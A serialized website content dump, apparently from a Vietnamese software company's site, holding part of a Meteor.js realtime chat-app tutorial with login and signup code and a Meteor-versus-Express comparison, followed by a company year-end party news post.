10px;\n}\n\n.chat-content {\n  padding: 10px;\n  height: calc(100vh - 90px - 57px);\n  overflow-y: auto;\n  gap: 10px;\n}\n\n.chat-content .message {\n  background-color: #f1f1f1;\n  padding: 10px;\n  border-radius: 10px;\n  display: flex;\n  flex-direction: column;\n}\n\n.chat-content .message:not(:first-child) {\n  margin-top: 10px;\n}\n\n.chat-content .message .username {\n  font-weight: bold;\n  color: var(--highlight-color);\n}\n\n.chat-content .message .message-content {\n  margin-top: 5px;\n}\n\n.chat-input {\n  display: flex;\n  padding: 10px;\n  height: 57px;\n  box-sizing: border-box;\n}\n\n.chat-input input {\n  flex: 1;\n  padding: 10px;\n  margin-right: 10px;\n  border: 1px solid var(--input-border-color);\n  border-radius: 4px;\n}\n\n.chat-input button {\n  padding: 10px;\n  background-color: var(--highlight-color);\n  color: white;\n  border: none;\n  border-radius: 4px;\n  cursor: pointer;\n}\n\n.chat-input button:hover {\n  background-color: var(--hover-bg-color);\n}\n\n.auth-container {\n  background-color: white;\n  padding: 40px;\n  border-radius: 5px;\n  box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);\n  width: 300px;\n}\n\n.auth-container h2 {\n  text-align: center;\n  margin-bottom: 20px;\n}\n\n.auth-container p span {\n  text-decoration: underline;\n  color: var(--hover-bg-color);\n  cursor: pointer;\n}\n\n#loginForm .input-group,\n#signupForm .input-group {\n  margin-bottom: 15px;\n  display: flex;\n  flex-direction: column;\n}\n\n#loginForm .input-group label,\n#signupForm .input-group label {\n  margin-bottom: 5px;\n}\n\n#loginForm .input-group input,\n#signupForm .input-group input {\n  padding: 10px;\n  border: 1px solid var(--border-color);\n  border-radius: 4px;\n}\n\n#loginForm button,\n#signupForm button {\n  background-color: orange;\n  color: white;\n  padding: 10px;\n  border: none;\n  border-radius: 4px;\n  cursor: pointer;\n  width: 100%;\n}\n\n#loginForm button:hover,\n#signupForm button:hover {\n  background-color: darkorange;\n}\n",[703,26291,26289],{"__ignoreMap":66},[11,26293,26294,26295,26298,26299,730],{},"Trong thư mục “",[20,26296,26297],{},"imports\u002Fapi","” tạo file “",[20,26300,26301],{},"ChatsCollection.js",[696,26303,26306],{"className":26304,"code":26305,"language":701},[699],"import { Mongo } from 'meteor\u002Fmongo';\n\nexport const ChatsCollection = new Mongo.Collection('chats');\n",[703,26307,26305],{"__ignoreMap":66},[11,26309,26294,26310,26298,26312,730],{},[20,26311,26297],{},[20,26313,26314],{},"ChatsPublications.js",[696,26316,26319],{"className":26317,"code":26318,"language":701},[699],"import { Meteor } from \"meteor\u002Fmeteor\";\n\nimport { ChatsCollection } from \".\u002FChatsCollection\";\n\nMeteor.publish(\"chats\", function () {\n  return ChatsCollection.find({}, { sort: { createdAt: -1 } });\n});\n",[703,26320,26318],{"__ignoreMap":66},[11,26322,26323],{},"Tiếp theo, chúng ta sẽ kết nối với cơ sở dữ liệu chat trong Meteor, đăng ký dữ liệu chat từ server và sử dụng nó để hiển thị các tin nhắn theo thứ tự thời gian trong giao diện người dùng.",[11,26325,26326,26327,26048],{},"Thêm đoạn Code sau vào file “",[20,26328,26329],{},"imports\u002Fui\u002FChat\u002FChat.js",[696,26331,26334],{"className":26332,"code":26333,"language":701},[699],"import { Template } from \"meteor\u002Ftemplating\";\nimport { ChatsCollection } from \"\u002Fimports\u002Fapi\u002FChatsCollection\";\nimport \".\u002FChat.html\";\n\nMeteor.subscribe(\"chats\");\n\nTemplate.chatContent.helpers({\n  chats() {\n    return ChatsCollection.find({}, { sort: { createdAt: 1 } });\n  },\n});\n",[703,26335,26333],{"__ignoreMap":66},[11,26337,26338,26339,26342],{},"Thay thế đoạn code của file “",[20,26340,26341],{},"server\u002Fmain.js","” như sau:",[696,26344,26347],{"className":26345,"code":26346,"language":701},[699],"import { Meteor } from \"meteor\u002Fmeteor\";\nimport { ChatsCollection } from \"\u002Fimports\u002Fapi\u002FChatsCollection\";\nimport '\u002Fimports\u002Fapi\u002FChatsPublications';\n\nMeteor.startup(() => {\n  if (ChatsCollection.find().count() === 0) {\n    ChatsCollection.insert({\n      messageText: 'Welcome to the chat app!',\n      createdAt: new Date(),\n      username: \"Admin\",\n    });\n  }\n});\n",[703,26348,26346],{"__ignoreMap":66},[11,26350,26351],{},"Mục đích là để khi khởi động server, thì sẽ kiểm tra nếu như chưa có message nào thì sẽ thêm vào message mặc định.",[11,26353,26354,26355,26357,26358,20930],{},"→ Khởi động ứng dụng Meteor.js bằng lệnh ",[703,26356,26067],{}," và truy cập vào địa chỉ ",[58,26359,17729],{"href":20928,"rel":26360},[62],[533,26362],{"className":26363,"alt":66,"src":26364,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19160033\u002Fimg04.png",[11,26366,26367],{},[20,26368,26369],{},"Thực hiện chức năng gửi tin nhắn:",[11,26371,26372,26373,26375],{},"Trong file “",[20,26374,26329],{},"”, thêm đoạn code sau:",[696,26377,26380],{"className":26378,"code":26379,"language":701},[699],"...\n\nTemplate.body.events({\n  \"click #sendMessage\": function () {\n    const messageElement = document.querySelector(\"#message\");\n    if (messageElement.value.trim()) {\n      Meteor.call(\"chats.sendMessage\", messageElement.value.trim());\n      messageElement.value = \"\";\n    }\n  },\n});\n",[703,26381,26379],{"__ignoreMap":66},[11,26383,26294,26384,26233,26386,26389],{},[20,26385,26297],{},[20,26387,26388],{},"ChatsMethods.js","” và thêm đoạn code sau:",[696,26391,26394],{"className":26392,"code":26393,"language":701},[699],"import { Meteor } from 'meteor\u002Fmeteor';\nimport { ChatsCollection } from \".\u002FChatsCollection\";\n\nMeteor.methods({\n    'chats.sendMessage'(message) {\n      ChatsCollection.insert({\n        messageText: message,\n        createdAt: new Date(),\n        username: \"Admin\"\n      });\n    }\n});\n",[703,26395,26393],{"__ignoreMap":66},[11,26397,26398,26399,26048],{},"Tiếp theo, chúng ta sẽ import method vừa mới tạo vào file “",[20,26400,26341],{},[696,26402,26405],{"className":26403,"code":26404,"language":701},[699],"...\nimport '\u002Fimports\u002Fapi\u002FChatsMethods';\n...\n",[703,26406,26404],{"__ignoreMap":66},[11,26408,26409],{},"Hãy thử gửi 1 tin nhắn bất kì nhé:",[533,26411],{"className":26412,"alt":66,"src":26413,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19161822\u002Fimg05.png",[11,26415,26416],{},[20,26417,26418],{},"Thực hiện chức năng Login, Register và Logout:",[11,26420,26421,26422,26427,26428,26048],{},"Chúng ta sẽ cài đặt packages “",[20,26423,26424],{},[1277,26425,26426],{},"accounts-password","” và “",[20,26429,26430],{},[1277,26431,26432],{},"bcrypt",[696,26434,26437],{"className":26435,"code":26436,"language":701},[699],"meteor add accounts-password\nmeteor npm install --save bcrypt\n",[703,26438,26436],{"__ignoreMap":66},[11,26440,26441,26442,26445,26446,26389],{},"Tại thư mục “",[20,26443,26444],{},"imports\u002Fui\u002FAuth","” tạo file ",[20,26447,26448],{},"“Auth.html",[696,26450,26453],{"className":26451,"code":26452,"language":701},[699],"\u003Ctemplate name=\"authContainer\">\n    {{> Template.dynamic template=currentView}}\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"loginContainer\">\n    \u003Cdiv class=\"auth-container\" >\n        \u003Ch2>Login\u003C\u002Fh2>\n        \u003Cform id=\"loginForm\">\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"username\">Username\u003C\u002Flabel>\n                \u003Cinput type=\"text\" id=\"username\" name=\"username\" required>\n            \u003C\u002Fdiv>\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"password\">Password\u003C\u002Flabel>\n                \u003Cinput type=\"password\" id=\"password\" name=\"password\" required>\n            \u003C\u002Fdiv>\n            \u003Cbutton type=\"submit\">Login\u003C\u002Fbutton>\n        \u003C\u002Fform>\n\n        \u003Cp>Don’t have an account yet?\n            \u003Cspan>Sign up\u003C\u002Fspan>\n        \u003C\u002Fp>\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"signupContainer\">\n    \u003Cdiv class=\"auth-container\" >\n        \u003Ch2>Sign up\u003C\u002Fh2>\n        \u003Cform id=\"signupForm\">\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"username\">Username\u003C\u002Flabel>\n                \u003Cinput type=\"text\" id=\"username\" name=\"username\" required>\n            \u003C\u002Fdiv>\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"password\">Password\u003C\u002Flabel>\n                \u003Cinput type=\"password\" id=\"password\" name=\"password\" required>\n            \u003C\u002Fdiv>\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"confirmPassword\">Confirm Password\u003C\u002Flabel>\n                \u003Cinput type=\"password\" id=\"rePassword\" name=\"confirmPassword\" required>\n            \u003C\u002Fdiv>\n            \u003Cbutton type=\"submit\">Sign up\u003C\u002Fbutton>\n        \u003C\u002Fform>\n\n        \u003Cp>Already have an account?\n            \u003Cspan>Login here\u003C\u002Fspan>\n        \u003C\u002Fp>\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[703,26454,26452],{"__ignoreMap":66},[11,26456,26441,26457,26298,26459,26389],{},[20,26458,26444],{},[20,26460,26461],{},"Auth.js",[696,26463,26466],{"className":26464,"code":26465,"language":701},[699],"import { Template } from \"meteor\u002Ftemplating\";\nimport \".\u002FAuth.html\";\n\nimport { ReactiveVar } from \"meteor\u002Freactive-var\";\n\ncurrentView = new ReactiveVar(\"loginContainer\");\n\nTemplate.authContainer.helpers({\n  currentView: function () {\n    return currentView.get();\n  },\n});\n\nTemplate.loginContainer.events({\n  \"click span\": function (e) {\n    e.preventDefault();\n    currentView.set(\"signupContainer\");\n  },\n  \"submit #loginForm\"(e) {\n    e.preventDefault();\n\n    const target = e.target;\n\n    const username = target.username.value;\n    const password = target.password.value;\n\n    Meteor.loginWithPassword(username, password, (err) => {\n      if (err) {\n        alert(err);\n      }\n    });\n  },\n});\n\nTemplate.signupContainer.events({\n  \"click span\": function (e) {\n    e.preventDefault();\n    currentView.set(\"loginContainer\");\n  },\n  \"submit #signupForm\"(e) {\n    e.preventDefault();\n\n    const target = e.target;\n\n    const username = target.username.value;\n    const password = target.password.value;\n    const confirmPassword = target.confirmPassword.value;\n\n    if (password !== confirmPassword) {\n      alert(\"Password do not match\");\n      return;\n    }\n\n    Accounts.createUser(\n      {\n        username,\n        password,\n      },\n      (err) => {\n        if (err) {\n          alert(err);\n        }\n      }\n    );\n  },\n});\n",[703,26467,26465],{"__ignoreMap":66},[11,26469,26188,26470,26473],{},[20,26471,26472],{},"imports\u002Fui\u002FChat\u002FChat.html","” chúng ta sẽ tiến hành kiểm tra xem user đã login hay chưa, và thêm nút logout:",[696,26475,26478],{"className":26476,"code":26477,"language":701},[699],"\u003Cbody>\n    {{#if isUserLogged}} {{> chatContainer}} {{else}} {{> authContainer}} {{\u002Fif}}\n\u003C\u002Fbody>\n\n...\n    \u003Cdiv class=\"chat-header\">\n        \u003Ch2>Simple Chat Meteor\u003C\u002Fh2>\n        \u003Cbutton id=\"logout\">Logout\u003C\u002Fbutton>\n    \u003C\u002Fdiv>\n...\n",[703,26479,26477],{"__ignoreMap":66},[11,26481,26188,26482,26484],{},[20,26483,26329],{},"”, chúng ta sẽ kiểm tra xem user đã login hay chưa, và xử lý logout:",[696,26486,26489],{"className":26487,"code":26488,"language":701},[699],"import \"..\u002FAuth\u002FAuth.js\"\n...\nTemplate.body.helpers({\n  isUserLogged() {\n    return !!Meteor.userId() && !Meteor.loggingIn();\n  },\n});\n\nTemplate.body.events({\n  \"click #sendMessage\": function () {\n    const messageElement = document.querySelector(\"#message\");\n    if (messageElement.value.trim()) {\n      Meteor.call(\"chats.sendMessage\", messageElement.value.trim());\n      messageElement.value = \"\";\n    }\n  },\n  \"click #logout\": function () {\n    Meteor.logout();\n  },\n});\n",[703,26490,26488],{"__ignoreMap":66},[11,26492,26188,26493,26495,26496,26499,26500,26503],{},[20,26494,26341],{},"”,  kiểm tra và thêm account “admin” nếu nó không tồn tại, và thêm “",[1277,26497,26498],{},"username”"," cho “",[1277,26501,26502],{},"message”"," mặc định:",[696,26505,26508],{"className":26506,"code":26507,"language":701},[699],"import { Meteor } from \"meteor\u002Fmeteor\";\nimport '\u002Fimports\u002Fapi\u002FChatsMethods';\nimport '\u002Fimports\u002Fapi\u002FChatsPublications';\nimport { ChatsCollection } from \"\u002Fimports\u002Fapi\u002FChatsCollection\";\nimport { Accounts } from 'meteor\u002Faccounts-base';\n\nconst SEED_USERNAME = \"admin\";\nconst SEED_PASSWORD = \"admin\";\n\nMeteor.startup(() => {\n  if (!Accounts.findUserByUsername(SEED_USERNAME)) {\n    Accounts.createUser({\n      username: SEED_USERNAME,\n      password: SEED_PASSWORD,\n    });\n  }\n\n  const user = Accounts.findUserByUsername(SEED_USERNAME);\n\n  if (ChatsCollection.find().count() === 0) {\n    ChatsCollection.insert({\n      messageText: 'Welcome to the chat app!',\n      createdAt: new Date(),\n      username: user.username,\n    });\n  }\n});\n",[703,26509,26507],{"__ignoreMap":66},[11,26511,26512,26513,26515,26516,26519,26520,26048],{},"Tương tự, chúng ta cũng thêm “",[1277,26514,26498],{}," cho methods “",[1277,26517,26518],{},"sendMessage”"," ở file “",[20,26521,26522],{},"imports\u002Fapi\u002FChatsMethods.js",[696,26524,26527],{"className":26525,"code":26526,"language":701},[699],"import { Meteor } from 'meteor\u002Fmeteor';\nimport { ChatsCollection } from \".\u002FChatsCollection\";\n\nMeteor.methods({\n  'chats.sendMessage'(message) {\n    const username = Meteor.user()?.username;\n\n    ChatsCollection.insert({\n      messageText: message,\n      createdAt: new Date(),\n      username: username\n    });\n  }\n});\n",[703,26528,26526],{"__ignoreMap":66},[11,26530,26531],{},"Cùng xem thành quả nhé:",[533,26533],{"className":26534,"alt":66,"src":26535,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19172343\u002Fimg06.png",[11,26537,26538],{},[1277,26539,26540],{},"Ở trạng thái chưa đăng nhập, hiển thị màn hình Login.",[533,26542],{"className":26543,"alt":66,"src":26544,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19172346\u002Fimg07.png",[11,26546,26547],{},[1277,26548,26549],{},"Màn hình Sign up",[533,26551],{"className":26552,"alt":66,"src":26553,"style":539},[536,537,9296],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19172349\u002Fimg08.png",[490,26555,21063],{"id":21062},[657,26557,26559],{"id":26558},"khả-năng-mở-rộng","Khả Năng Mở Rộng",[31,26561,26562,26567],{},[34,26563,26564,26566],{},[20,26565,26028],{},": Cung cấp một “bộ công cụ phát triển” với các tính năng và bộ phận đã được xây dựng sẵn, Meteor.js giúp quá trình phát triển nhanh chóng và dễ dàng hơn. Tuy nhiên, điều này có thể giới hạn khả năng tùy chỉnh và mở rộng ở một số dự án lớn.",[34,26568,26569,26572],{},[20,26570,26571],{},"Express.js",": Là một framework linh hoạt, Express.js cung cấp môi trường cho phép các nhà phát triển tự do xây dựng cấu trúc ứng dụng theo ý muốn, làm cho nó trở nên lý tưởng cho các dự án lớn và phức tạp với yêu cầu mở rộng cao.",[657,26574,26576],{"id":26575},"giao-tiếp-thời-gian-thực","Giao Tiếp Thời Gian Thực",[31,26578,26579,26584],{},[34,26580,26581,26583],{},[20,26582,26028],{},": Được trang bị sẵn khả năng giao tiếp thời gian thực giữa máy khách và máy chủ, giúp dữ liệu được cập nhật ngay lập tức mà không cần tải lại trang.",[34,26585,26586,26588],{},[20,26587,26571],{},": Để đạt được tính năng tương tự, cần phải tích hợp thêm các thư viện bên thứ ba, tăng thêm công số phát triển.",[657,26590,26592],{"id":26591},"tích-hợp-cơ-sở-dữ-liệu","Tích Hợp Cơ Sở Dữ Liệu",[31,26594,26595,26600],{},[34,26596,26597,26599],{},[20,26598,26028],{},": Tích hợp chặt chẽ với MongoDB và tối ưu cho việc sử dụng nó, giúp quản lý dữ liệu dễ dàng nhưng giới hạn lựa chọn.",[34,26601,26602,26604],{},[20,26603,26571],{},": Hỗ trợ kết nối với đa dạng cơ sở dữ liệu, từ SQL đến NoSQL, cho phép linh hoạt chọn lựa dựa trên nhu cầu dự án.",[657,26606,26608],{"id":26607},"cộng-đồng-và-hệ-sinh-thái","Cộng Đồng và Hệ Sinh Thái",[31,26610,26611,26616],{},[34,26612,26613,26615],{},[20,26614,26028],{},": Dù cộng đồng nhỏ hơn, nhưng vẫn cung cấp đủ các gói và công cụ để hỗ trợ nhu cầu phát triển.",[34,26617,26618,26620],{},[20,26619,26571],{},": Có một cộng đồng lớn và đa dạng với hàng ngàn thư viện và công cụ bổ sung, cung cấp nhiều lựa chọn để mở rộng và cải thiện ứng dụng.",[657,26622,26624],{"id":26623},"tốc-độ-phát-triển-và-độ-khó-học","Tốc Độ Phát Triển và Độ Khó Học",[31,26626,26627,26632],{},[34,26628,26629,26631],{},[20,26630,26028],{},": Tăng tốc độ phát triển ứng dụng bằng cách tích hợp sẵn nhiều chức năng, giảm thiểu công việc cấu hình và quản lý. Lộ trình học tương đối dễ tiếp cận, thích hợp cho người mới bắt đầu.",[34,26633,26634,26636],{},[20,26635,26571],{},": Cung cấp cách tiếp cận linh hoạt và tùy chỉnh cao, có thể mất thêm thời gian để thiết lập nhưng mang lại lợi ích về lâu dài khi phát triển dự án. Đòi hỏi sự hiểu biết về Node.js và cách thức tích hợp các middleware, phù hợp với những nhà phát triển có kinh nghiệm.",[490,26638,7456],{"id":7455},[11,26640,26641],{},"Từ những phân tích trên, có thể thấy rằng Express.js và Meteor đều có những ưu và nhược điểm riêng biệt, phù hợp với các loại dự án và nhu cầu phát triển khác nhau:",[11,26643,26644,26646],{},[20,26645,26571],{}," là lựa chọn tốt cho những dự án cần mức độ tùy chỉnh cao và khả năng mở rộng lớn. Nó đặc biệt phù hợp với những dự án phức tạp, đa dạng về cơ sở dữ liệu và yêu cầu một hệ sinh thái lớn với nhiều lựa chọn thư viện và công cụ.",[11,26648,26649,26650,26652],{},"Ngược lại, ",[20,26651,26028],{}," là sự chọn lựa hoàn hảo cho việc phát triển nhanh chóng và dễ dàng, đặc biệt là với các ứng dụng thời gian thực và dự án nhỏ đến trung bình cần đến MongoDB. Nó phù hợp với các nhà phát triển muốn tập trung vào việc triển khai ý tưởng nhanh chóng mà không mất quá nhiều thời gian vào cấu hình và quản lý hạ tầng.",[11,26654,26655],{},"Tóm lại, lựa chọn giữa Express.js và Meteor phụ thuộc vào yêu cầu cụ thể của dự án, kỹ năng và kinh nghiệm của đội ngũ phát triển, cũng như mục tiêu và khung thời gian dự án. Cả hai công nghệ đều có những điểm mạnh riêng biệt, và việc lựa chọn công nghệ phù hợp sẽ góp phần quan trọng vào sự thành công của dự án.",[490,26657,7462],{"id":5255},[11,26659,26660],{},[58,26661,26662],{"href":26662,"rel":26663},"https:\u002F\u002Fdocs.meteor.com\u002F",[62],[11,26665,26666],{},[58,26667,26668],{"href":26668,"rel":26669},"https:\u002F\u002Fwww.blazejs.org\u002F",[62],[11,26671,26672],{},[58,26673,21119],{"href":21119,"rel":26674},[62],{"title":66,"searchDepth":67,"depth":67,"links":26676},[26677,26678],{"id":25984,"depth":67,"text":25987},{"id":26021,"depth":67,"text":26022,"children":26679},[26680,26681,26682,26683,26684],{"id":26558,"depth":1417,"text":26559},{"id":26575,"depth":1417,"text":26576},{"id":26591,"depth":1417,"text":26592},{"id":26607,"depth":1417,"text":26608},{"id":26623,"depth":1417,"text":26624},"HOANG PHAN THANH","2025-03-31","Meteor (Meteor.js) là một framework JavaScript Full-Stack, được xây dựng dựa trên Node.js, giúp phát triển các ứng dụng web và mobile một cách nhanh chóng và hiệu quả. Với thiết kế tối ưu hóa cho sự tích hợp mượt mà giữa client và server, Meteor không chỉ giúp đơn giản hóa quá trình chia sẻ code mà còn nâng cao trải nghiệm với dữ liệu thời gian thực. Nếu bạn đang tìm kiếm một giải pháp phát triển ứng dụng nhanh chóng hoặc muốn mở rộng kiến thức về các công nghệ web hiện đại, bài viết này sẽ cung cấp cái nhìn tổng quan và sâu sắc về Meteor.",{},"\u002Fvi\u002Fnews\u002Fxay-dung-ung-dung-chat-realtime-voi-framework-meteor-js",{"title":25911,"description":26687},"vi\u002Fnews\u002Fxay-dung-ung-dung-chat-realtime-voi-framework-meteor-js","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002Fmeteor-logo-2.png","lI1BPLeRnL1L92-5w4emlC3RvxoZQ-m9OW7QV-2zhvo",{"id":26695,"title":26696,"body":26697,"category":2902,"created by":70,"date":26770,"description":26771,"extension":72,"meta":26772,"navigation":74,"path":26773,"sections":76,"seo":26774,"stem":26775,"thumbnail":26776,"__hash__":26777},"content_vi\u002Fvi\u002Fnews\u002Fyear-end-party-2020-briswell-vietnam.md","YEAR END PARTY 2020 – BRISWELL VIỆT NAM",{"type":8,"value":26698,"toc":26768},[26699,26702,26705,26708,26712,26716,26720,26723,26727,26730,26734,26738,26742,26746,26750,26754,26758,26762,26765],[11,26700,26701],{},"Chào mọi người, ",[11,26703,26704],{},"Lại một năm nữa sắp qua đi, năm mới đã gần kề, mọi người đã sắm sửa gì để đón Tết Tân Sửu chưa? ",[11,26706,26707],{},"Cũng nhân dịp này, đại gia đình Briswell Việt Nam đã tổ chức một buổi tiệc tất niên nho nhỏ ấm cúng để cùng nhìn lại những gì đã trải qua trong một năm đầy \"sóng gió\". ",[533,26709],{"className":26710,"alt":66,"src":26711,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152650\u002F8054191C-167E-4B00-9B2E-3E2FED1E8302-1-2048x1536.jpg",[533,26713],{"className":26714,"alt":66,"src":26715,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152534\u002FC2BA8DD8-A527-4C7F-8A95-BD693D1FA782-2048x1536.jpg",[533,26717],{"className":26718,"alt":66,"src":26719,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152401\u002FC5BA29C7-9A88-4751-9357-9CDE0053B654-1024x751.jpg",[11,26721,26722],{},"Đây cũng là cơ hội để mọi người xích lại gần nhau, chia sẻ những điều vụn vặt của năm cũ, những dự định cho năm sau, giao lưu, nói chuyện một cách vui vẻ sau những giờ làm việc đầy căng thẳng. ",[533,26724],{"className":26725,"alt":66,"src":26726,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152216\u002FIMG_1215-1024x738.jpg",[11,26728,26729],{},"Hơn thế nữa, mọi người cũng tham gia chơi trò chơi một cách rất nhiệt tình, cười một cách thỏa thích và quan trọng hơn hết là nhận được những phần quà ý nghĩa và đầy thiết thực từ công ty.",[533,26731],{"className":26732,"alt":66,"src":26733,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152240\u002FIMG_1186-1024x768.jpg",[533,26735],{"className":26736,"alt":66,"src":26737,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05152141\u002FIMG_1240-1024x791.jpg",[533,26739],{"className":26740,"alt":66,"src":26741,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155339\u002FIMG_1248-1024x768.jpg",[533,26743],{"className":26744,"alt":66,"src":26745,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155434\u002FIMG_1257-1024x768.jpg",[533,26747],{"className":26748,"alt":66,"src":26749,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155518\u002FIMG_1263-1024x771.jpg",[533,26751],{"className":26752,"alt":66,"src":26753,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155543\u002FIMG_1279-1141x1536.jpg",[533,26755],{"className":26756,"alt":66,"src":26757,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155617\u002FIMG_1282-1208x1536.jpg",[533,26759],{"className":26760,"alt":66,"src":26761,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05155758\u002FIMG_8590-1024x768.jpg",[11,26763,26764],{},"Năm mới sắp đến, thay mặt đại gia đình Briswell Việt Nam, xin cảm ơn anh\u002Fchị\u002Fem đã và đang gắn bó cùng ngôi nhà này. ",[11,26766,26767],{},"Chúc mọi người năm mới vui vẻ, vạn sự như ý, an khang thịnh vượng, tấn tài tấn lộc.",{"title":66,"searchDepth":67,"depth":67,"links":26769},[],"2021-02-05","Chào mọi người, Lại một năm nữa sắp qua đi, năm mới đã gần kề, mọi người đã sắm sửa gì để đón Tết Tân Sửu chưa? Cũng nhân dịp này, đại gia đình Briswell Việt Nam đã tổ chức một buổi tiệc tất niên nho nhỏ ấm cúng để cùng nhìn lại những gì đã trải qua trong một năm đầy \"sóng gió\". ",{},"\u002Fvi\u002Fnews\u002Fyear-end-party-2020-briswell-vietnam",{"title":26696,"description":26771},"vi\u002Fnews\u002Fyear-end-party-2020-briswell-vietnam","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F05150944\u002FCover.png","mU2XaoVvYyGuv6TEpwTXyKZieLJiYlA_yshVQkyjEgI",1782205043068]